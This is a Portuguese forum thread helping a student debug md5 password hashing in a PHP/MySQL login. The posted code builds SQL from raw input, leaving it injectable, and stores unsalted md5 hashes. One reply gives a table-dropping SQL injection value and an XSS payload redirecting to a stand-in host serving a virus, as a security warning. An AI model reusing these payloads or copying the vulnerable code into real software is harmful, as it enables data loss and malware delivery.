• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

ark15

Problema Com md5

23 mensagens neste tópico

Para a minha PAP necessito de um login , Criei um e consigo adicionar membros e Fazer o login de cada um com sucesso, para aumentar a segurança de cada membro , decidi usar o md5 nas senhas de cada utilizador, mas por algum motivo depois de por  o md5  ele nunca efectua o login :/ se tirar o md5 já faz o login (dos membros que tinha registado antes do md5) .

alguem me podia dizer onde estou a errar? ?! :/

Os códigos  são os seguintes:

insere.php

<?
	$host = "localhost"; // emdereço para mySql
	$user = "root"; // Usuario para conexáo
	$pass = ""; //Password para o usuario
	$base = "pap"; //Base de dados da conexão
	$con = mysql_connect ($host,$user,$pass) ;	
	$db = mysql_select_db($base,$con) ;	


	$login = $_POST['login'];
	$senha = md5($_POST['senha']);
	$registo = mysql_query ("INSERT INTO login VALUES('', '$login', '$senha') ", $con );

   

		if ($_POST['Submit'])
		{
			$con = mysql_query ($registo);
			echo "Estás Registado";
		}
		else 
		{
			header("Location: index.php");
		}


?>

logar.php

<? 

include "configuracao.php"; 
class login {

var $login;
var $senha;

function logar (){
		$this->login 	= $_POST['login'];
		$this->senha 	= md5($_POST['senha']);
		$consulta		= mysql_query("SELECT * FROM login WHERE login_user = '".$this->login."' AND senha_user = '".$this->senha."' ");
		$num_registro   = mysql_num_rows($consulta);

		if ($num_registro !=0 ) { // Se retornou algo e porque os dados estao corretos em $num_registro = 1 emtao e !=0 (diferente de 0 )
		$resultado = mysql_fetch_array($consulta); // Cria um array de todos os dados do usuario
		@session_start(); //inicio a sessao do usuario e as crio;  @ para não mostrar os erros que ha na criação de session
		$_SESSION['login'] = $resultado['login_user']; // Fiz uma sessão para o usuario chamada de login que contem o valor do login do usuario
		header ("Location: ../area_cliente/index.php");
		return true;
		} else{
		header ("Location: ../index.php?erro=Senha ou Login Estam Incorretos");
		return false;
		}

}



function sair(){
		@session_start();
		@session_destroy();
		header ("Location: index.php?erro=Logout Efetuado com Sucesso");

}






}

$acao = $_GET['acao'];
$login = new login;

switch ($acao){

case "logar":
$login->logar();
break;

case "sair":
$login->sair();
break;


}

?>

Agradeço desde Já []s

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tirando uns pequenos detalhes que eventualmente quererás melhorar, parece-me que o query está bem. Não estou a ver o que pode estar mal mas tambem pode ser muita coisa: nomes de colunas errados, registos repetidos.

Vamos então encontrar o erro. A primeira coisa a fazer neste caso: manda o query para o output para poderes ver o conteudo dele, logo aí podes ver se há alguma coisa estranha. Se não houver testa-o manualmente na base de dados.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Mas só me ocorre erro ao meter o md5 ou seja,

se meter assim no insere.php :

$senha = md5($_POST['senha']);

e no logar.php

$this->senha 	= md5($_POST['senha']);

ele dá erro, e tirando o "md5" e os parentises nos 2 ele já regista e efectua a entrada sem qualquer erro.

Desculpa , sou iniciante, podes me explicar como faço o " query para o output".

obrigado pela tua resposta :thumbsup:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Qual é o erro que ele dá?

Mete

error_reporting(E_ALL);

logo a seguir ao primeiro tag de php do teu script.

Logo a seguir ao query, verifica as mensagens do SQL

$consulta = mysql_query(...
if (!$consulta) echo mysql_error();

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

o erro que dá é que não consigo efectuar o login com o script md5. consigo registar o Utilizador e guarda-me a passe  como md5 , mas vou efectuar o login e ele não entra, diz que a senha esta errada.

mas se tirar o Md5 , consigo registar e efectuar o Login com sucesso. ou seja , o meu problema só é que não consigo efectuar o login se guardar a senha como md5.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Qual é a password que está na base de dados?

Supoe que tens um utilizador com o username="pmg" e password="qWeRtY6%4#2!"

A base de dados tem "qWeRtY6%4#2!" ou "22b2c5d63de8180bbb7f385aef72ea67"?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

a base de dados tem assim "22b2c5d63de8180bbb7f385aef72ea67", o md5 esta a gravar bem, penso eu.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Já fiz o que tinhas falado , pus assim :

<? 
error_reporting(E_ALL);
include "configuracao.php"; 
class login {

var $login;
var $senha;



function logar (){
		$this->login 	= $_POST['login'];
		$this->senha 	= md5($_POST[$senha]['senha']);
		$consulta		= mysql_query("SELECT * FROM login WHERE login_user = '".$this->login."' AND senha_user = '".$this->senha."' ");
		if (!$consulta)
		{
			echo mysql_error();
			}

		$num_registro   = mysql_num_rows($consulta);



		if ($num_registro !=0 ) { // Se retornou algo e porque os dados estao corretos em $num_registro = 1 emtao e !=0 (diferente de 0 )
		$resultado = mysql_fetch_array($consulta); // Cria um array de todos os dados do usuario
		@session_start(); //inicio a sessao do usuario e as crio;  @ para não mostrar os erros que ha na criação de session
		$_SESSION['login'] = $resultado['login_user']; // Fiz uma sessão para o usuario chamada de login que contem o valor do login do usuario
		header ("Location: ../area_cliente/index.php");
		return true;
		} else{
		header ("Location: ../index.php?erro=Senha ou Login Estam Incorretos");
		return false;
		}

}


function sair(){
		@session_start();
		@session_destroy();
		header ("Location: index.php?erro=Logout Efetuado com Sucesso");

}






}

$acao = $_GET['acao'];
$login = new login;

switch ($acao){

case "logar":
$login->logar();
break;

case "sair":
$login->sair();
break;


}

?>

e o erro que me dá é :

Notice: Undefined index acao in C:\.... on line 51.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Então tá resolvido o teu problema com md5 ... ou melhor: ficamos sem saber se há um problema com o md5, já que o teu problema é de qualquer coisa que acontece na linha 51 ... antes do script passar pelo md5.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Sem md5 sempre funcionou, mas como quero tornar isto mais seguro estou a tentar fazer com que o md5 funcione, não percebo o  erro , estou a fazer tudo direitinho, já vi vários exemplos e estou a fazer igual :/ não percevo

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Essa parte do estares a fazer igual com e sem md5 é que me dá cabo da cabeça :|

Quanto clicas para fazer o login, com e sem md5, quais são os parametros do endereço (a parte do endereço que vem a seguir ao "?")?

... experimenta fazer um trim à password antes de lhe aplicares o md5

$this->senha 	= md5(trim($_POST['senha']));

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Olha , o trim resultou :thumbsup:

e a parte de fazer com md5 e sem deves estar a pensar errado, porque eu fiz primeiro normal, a guardar dados na base de dados e depois ao fazer o login ir buscados a base de dados , depois o meu professor chamou-me a atensãp da segurança que eu devia de ter no sistema de login, e ai tentei modificar para md5 ao guardar a passe.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

O trim foi a única coisa que me lembrei que pudesse ter alguma influência.

Para o MySQL, as string "dois" e "dois " (tem um espaço no fim) são iguais, mas para o md5 são diferentes

select "dois "="dois";
+----------------+
| "dois "="dois" |
+----------------+
|              1 |
+----------------+
1 row in set (0.00 sec)

md5("dois") == "cdfb25b863a7124fa5b95da977267044"

md5("dois ") == "4a2ea02d4a3f9734879edf2a91a10dc0"

Se calhar era bom reveres os teus formulários :thumbsup:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não sei exactamento donde ... mas alguma coisa está a por o espaço a mais na password.

Com a solução do trim, não é possível ter uma password que comece ou acabe em espaços :thumbsup:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não consegui perceber se já resolveste ou não, mas aqui vão umas coisas na tua função logar:

Linha 2 (da função)

$this->senha = md5($_POST[$senha]['senha']);

Aquele $_POST[$senha]['senha'] não deveria ser $_POST['senha']?

Linha 3

mysql_query("SELECT * FROM login WHERE login_user = '".$this->login."' AND senha_user = '".$this->senha."' ")

O que acontece se o meu login tiver o conteúdo '; drop table login; #--  ? (apaga a tabela)

Ver artigo: http://wiki.portugal-a-programar.org/revistaprogramar_arquivo:11_edicao:vulnerabilidades_em_aplicacoes_web

Linha x

header ("Location: ../index.php?erro=Senha ou Login Estam Incorretos");

Estou mesmo a ver o que acontece na página index.php... echo $_GET['erro'], não é? Experimenta aceder à página com o seguinte request

/index.php?erro=<script>window.location='http://sitemalicioso.com/download/virus.exe'</script>

Tens de ter em atenção estes pequenos pormenores de segurança, senão vai ser mais uma página para os hackers andarem a brincar...

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Não sei exactamento donde ... mas alguma coisa está a por o espaço a mais na password.

Com a solução do trim, não é possível ter uma password que comece ou acabe em espaços :thumbsup:

Já vi o erro que estava a fazer, no insere.php e estava a meter:

$registo = mysql_query ("INSERT INTO login VALUES('', '$login', '$senha') ", $con );

e tem umas plicas a mais antes do '$login', meti

$registo = mysql_query ("INSERT INTO login VALUES( '$login', '$senha') ", $con );

e funcionou direitinho sem o trim.

softclean , estou a ver agora o que me dizes-te , obrigado pela chamada de atensão, vou ler e "estudar"  todo para melhorar o meu código.

Obrigado pela vossa ajuda :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

softclean, tentei meter o  que request que dizes-te e não acontece nada , manda-me efectuar o login primeiro .

o que era suposto acontecer?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Então é porque não está vulnerável, ou porque me enganei :P (não faço isto com frequência).

De qualquer modo, suponho que saibas o que são sessões, recomendava-te a usá-las para essa mensagens, em vez de as passares no url (até porque no url podem ser modificadas, foi o que tentei fazer no exemplo de cima). O artigo da wiki aborda isto e muito mais, recomendo-te a leres com atenção.  :thumbsup:

login.php

....
$_SESSION['mensagem'] = "Login efectuado com sucesso!";

index.php

....
if (!empty($_SESSION['mensagem'])) {
    echo $_SESSION['mensagem'];
}

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Já tirei uma noções básicas no  artigo da wiki, já estou a mudar conteúdos no meu script para melhorar a segurança , ainda esta semana penso Por a minha Pap online para se alguem eventualmente quiser testar a segurança do site, para eu poder melhor os meus scripts e aprender sempre mais de php , pois ainda me encontro no inicio . Ah claro , e espero não estar a cometer nenhuma infracção ao pedir para testarem a segurança do meu site , não quero tornar este fórum de piratas ou algo do género :/ porque não é essa a minha intenção.

Cmps e obrigado pela Vossa Ajuda e dicas ;)     

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora